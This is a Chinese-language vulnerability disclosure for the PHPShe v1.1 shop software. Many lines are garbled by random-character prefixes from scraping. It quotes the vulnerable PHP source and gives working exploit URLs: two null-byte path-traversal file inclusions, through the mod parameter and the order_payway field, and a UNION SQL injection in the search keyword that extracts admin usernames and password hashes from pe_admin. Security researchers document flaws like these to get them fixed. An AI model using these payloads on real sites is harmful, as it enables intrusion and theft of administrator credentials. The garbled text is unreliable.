phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/ S8 o3 j0 r8 ~+ A# |6 m/* ========================
/* By: : Kn1f3
& Z- i; @" Z9 a- y* c2 @/* E-Mail : 681796@qq.com
/*******************************************************/
) z& i* M* ?8 e6 |5 F9 y4 w0×00 整体大概参数传输
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6 t% s- v8 u! a1 E//common.php
if (get_magic_quotes_gpc()) {
6 L$ Y1 G, {* i: l, w!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
/ r5 U7 w7 W' L  ?7 }, _. E}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
# n. i2 G2 q0 `; P+ S!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
4 f: x1 h8 ^/ a+ x' g. |}
session_start();
0 O+ I, X# @8 u7 ?$ F/ d/ f!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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" w; p+ u7 f' N6 C$ s9 v//首页文件
8 j2 e4 a% C7 D0 w<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
+ I- N/ J" C. ^$ E//common 文件 第15行开始
url路由配置
. a* b( G" n+ @; N$module = $mod = $act = 'index';
, R& o1 b0 o& K9 U/ n, g$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$ R; E0 \7 z0 X0 _/ U" |: b$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
+ j" ^, E: d' ^4 R7 G* ?- y$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
; G' x( x% F' Y* K//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

$ _: K7 q0 {+ ~<code id="code2">

//product.php文件
9 D3 E4 B3 j& @& q- L* Scase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
$ Q8 d8 x. Z; I) L//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
% k, P# g+ a) n$ iif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
) s6 e6 n- ^" J$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
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else {
$sqlwhere .= " order by `product_id` desc";
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, O0 Y, _) {! Y# K$ K* z9 ~$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
6 O7 F2 w# E" w9 H# D: q, q! X" R//热卖排行
) c4 o" B' z/ q5 `* w, K5 c, g$product_hotlist = product_hotlist();
" n8 p' P8 B, x* s//当前路径
. \( P% T, t2 j5 p9 f. V$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
0 E! a9 |: S6 {1 Ppublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
0 S, @2 I7 b+ c/ E6 i- F3 _* i//处理条件语句
8 o; [4 k; A) Z: g3 ~$sqlwhere = $this->_dowhere($where);
3 q9 N  B  P7 ~" E8 f, T+ i9 t& Yreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
$ t( o' Q" h) @1 }; R4 d4 y}
//exp
9 H% \$ t4 A# p, U  p/ ~product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

" E  L1 A$ Z5 f" f6 f) u0×03 包含漏洞2
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% J# i! {8 M7 r  ^1 B<code id="code3">

//order.php

case 'pay':

# A5 l4 N( a4 C$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

% N' Z1 C1 k6 s3 I" x% X, D% S. h$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, `0 Z& S9 R5 o/ Y* P( z% @5 ?if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

, U  I8 h( S1 {+ X}

% r1 X$ P; K, W3 v! L}

0 \- N* W2 Q# G' q. g$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

' L2 g- S9 i- W: A+ kif (isset($_p_pesubmit)) {

2 M' h: Q1 T/ B  D' Vif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

. Z- G- `& u9 Y0 _0 N% Y( U$ u$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$ G( R% C3 L, c' |' F$order['order_name'] .= "{$v['product_name']};";
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9 B! q  ~5 s: u' i4 F7 o2 o}

1 a# h! A6 K# l# ]3 W2 t9 ~echo '正在为您连接支付网站，请稍后...';

' V& l9 ~* l) z) {include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

pe_error('支付错误...');

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0 h- x: Q' j& Q0 v' X% H}

" z6 f  ~; v& |# `5 b+ N% P$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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